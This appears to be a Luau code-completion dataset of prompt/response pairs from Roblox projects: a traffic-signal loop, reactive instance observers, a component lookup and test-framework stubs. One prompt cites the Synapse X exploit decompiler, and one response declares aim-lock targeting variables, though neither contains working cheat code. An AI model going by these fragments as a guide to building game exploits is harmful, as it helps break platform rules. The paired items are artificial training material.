	TurnValues.TurnSignal1.Value = 2
	wait(4)--Yield Time (YIELD SIGNAL1 PROTECTED TURN GREEN)
	TurnValues.TurnSignal1.Value = 3
	SignalValues.Signal1a.Value = 3
	wait(2)-- All Red Cycle
	SignalValues.Signal1.Value = 1
	SignalValues.Signal1a.Value = 1
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(10) -- Green Time + Time for Signal1a
	SignalValues.Signal1.Value = 2
	SignalValues.Signal1a.Value = 2
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 1
	PedValues.PedSignal1a.Value = 1
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 2
	PedValues.PedSignal1a.Value = 2
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(6) -- Green Time + Time for flashing pedestrian signals
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 2
	SignalValues.Signal2a.Value = 2
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED
end


Prompt:
--[=[
	Observes all descendants that match a predicate

	@param parent Instance
	@param predicate ((value: Instance) -> boolean)? -- Optional filter
	@return Observable<Instance, boolean>
]=]

Response:
function RxInstanceUtils.observeDescendants(parent, predicate)
	assert(typeof(parent) == "Instance", "Bad parent")
	assert(type(predicate) == "function" or predicate == nil, "Bad predicate")

	return Observable.new(function(sub)
		local maid = Maid.new()
		local added = {}

		local function handleDescendant(child)
			if not predicate or predicate(child) then
				added[child] = true
				sub:Fire(child, true)
			end
		end

		maid:GiveTask(parent.DescendantAdded:Connect(handleDescendant))
		maid:GiveTask(parent.DescendantRemoving:Connect(function(child)
			if added[child] then
				added[child] = nil
				sub:Fire(child, false)
			end
		end))

		for _, descendant in pairs(parent:GetDescendants()) do
			handleDescendant(descendant)
		end

		return maid
	end)
end


Prompt:
--[=[
	@tag Component Instance
	@param componentClass ComponentClass
	@return Component?

	Retrieves another component instance bound to the same
	Roblox instance.

	```lua
	local MyComponent = Component.new({Tag = "MyComponent"})
	local AnotherComponent = require(somewhere.AnotherComponent)

	function MyComponent:Start()
		local another = self:GetComponent(AnotherComponent)
	end
	```
]=]

Response:
function Component:GetComponent(componentClass)
	return componentClass[KEY_INST_TO_COMPONENTS][self.Instance]
end


Prompt:
--[[
	Allows creation of expectation statements designed for behavior-driven
	testing (BDD). See Chai (JS) or RSpec (Ruby) for examples of other BDD
	frameworks.

	The Expectation class is exposed to tests as a function called `expect`:

		expect(5).to.equal(5)
		expect(foo()).to.be.ok()

	Expectations can be negated using .never:

		expect(true).never.to.equal(false)

	Expectations throw errors when their conditions are not met.
]]

Response: local Expectation = {}


Prompt: -- How many times per second the gun can fire

Response: local FireRate = 5 / 30


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local l__Gas__1 = game.Players.LocalPlayer:WaitForChild("Data"):WaitForChild("Gas");
local l__TweenService__1 = game:GetService("TweenService");
local l__Parent__2 = script.Parent;
l__Gas__1.Changed:Connect(function()
	l__TweenService__1:Create(l__Parent__2, TweenInfo.new(0.3, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false, 0), {
		BackgroundTransparency = l__Gas__1.Value / 1
	}):Play();
end);


Response:
local LockGui = nil
local AimGui = nil
local TargetPlayer = nil
local Locked = false
local Targeting = false


Prompt:
--[=[
	Observes the parent of the instance as long as it exists. This is very common when
	initializing parent interfaces or other behaviors using binders.

	@param instance Instance
	@return Observable<Brio<Instance>>
]=]

Response:
function RxInstanceUtils.observeParentBrio(instance)
	return RxInstanceUtils.observePropertyBrio(instance, "Parent", function(parent)
		return parent ~= nil
	end)
end